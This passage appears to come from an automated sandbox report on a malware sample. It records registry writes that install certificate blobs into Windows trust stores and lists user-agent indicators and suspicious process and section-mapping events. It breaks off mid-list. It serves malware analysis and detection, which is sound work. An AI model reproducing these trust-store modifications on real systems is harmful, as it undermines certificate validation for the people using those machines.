c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 setting.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd setting.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Calculator.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd setting.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 0f00000001000000200000002dc1a6a6cb0cb42f7e0d2c56f38bc7decbccd143405f669070ce130f9249ba48030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f setting.exe -
Script User-Agent 17 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 521 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4158 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4226 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 674 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6351 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 103 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 2952 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6194 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6272 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6350 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6354 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 7738 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 49 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 520 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 690 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 2989 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6930 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exeMon17a0d8ec302e.exeWerFault.exeExplorer.EXEMon17bbf11fdb575d.tmp825550.exe7061122.exeWerFault.exepid process 2396 powershell.exe 2396 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 5016 Mon17a0d8ec302e.exe 5016 Mon17a0d8ec302e.exe 2396 powershell.exe 2396 powershell.exe 2396 powershell.exe 2456 powershell.exe 2456 powershell.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 3208 WerFault.exe 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 3852 Mon17bbf11fdb575d.tmp 3852 Mon17bbf11fdb575d.tmp 2224 825550.exe 2224 825550.exe 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2032 7061122.exe 2032 7061122.exe 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 3136 WerFault.exe 3136 WerFault.exe 3136 WerFault.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 2604 Explorer.EXE -
Suspicious behavior: MapViewOfSection 64 IoCs
Processes:
Mon17a0d8ec302e.exeIdRxi4NXZM3wWqCmtrTrSQZA.exeAnCdctsFOA4Jamj50y1LwMGL.exe2cXpgEd_3C58sTQEbz5GciRz.exeraserver.exeHTtyKFdmJz3J4SkY0tPaGH2B.exeMicrosoftEdgeCP.exevwcireuMicrosoftEdgeCP.exeMicrosoftEdgeCP.exevwcireuMicrosoftEdgeCP.exeMicrosoftEdgeCP.exevwcireuPowerControl_Svc.exemshta.exevwcireuMicrosoftEdgeCP.exevwcireuMicrosoftEdgeCP.exeMicrosoftEdgeCP.exevwcireuvwcireuMicrosoftEdgeCP.exevwcireuMicrosoftEdgeCP.exevwcireuMicrosoftEdgeCP.exepid process 5016 Mon17a0d8ec302e.exe 6796 IdRxi4NXZM3wWqCmtrTrSQZA.exe 6856 AnCdctsFOA4Jamj50y1LwMGL.exe 6856 AnCdctsFOA4Jamj50y1LwMGL.exe 6856 AnCdctsFOA4Jamj50y1LwMGL.exe 6796 IdRxi4NXZM3wWqCmtrTrSQZA.exe 6796 IdRxi4NXZM3wWqCmtrTrSQZA.exe 7048 2cXpgEd_3C58sTQEbz5GciRz.exe 6288 raserver.exe 6288 raserver.exe 5416 HTtyKFdmJz3J4SkY0tPaGH2B.exe 6288 raserver.exe 6288 raserver.exe 2212 MicrosoftEdgeCP.exe 2212 MicrosoftEdgeCP.exe 7068 vwcireu 4736 MicrosoftEdgeCP.exe 4736 MicrosoftEdgeCP.exe 3180 MicrosoftEdgeCP.exe 3180 MicrosoftEdgeCP.exe 8248 vwcireu 3180 MicrosoftEdgeCP.exe 3180 MicrosoftEdgeCP.exe 6288 raserver.exe 6288 raserver.exe 5152 MicrosoftEdgeCP.exe 5152 MicrosoftEdgeCP.exe 6428 MicrosoftEdgeCP.exe 6428 MicrosoftEdgeCP.exe 6976 vwcireu 8180 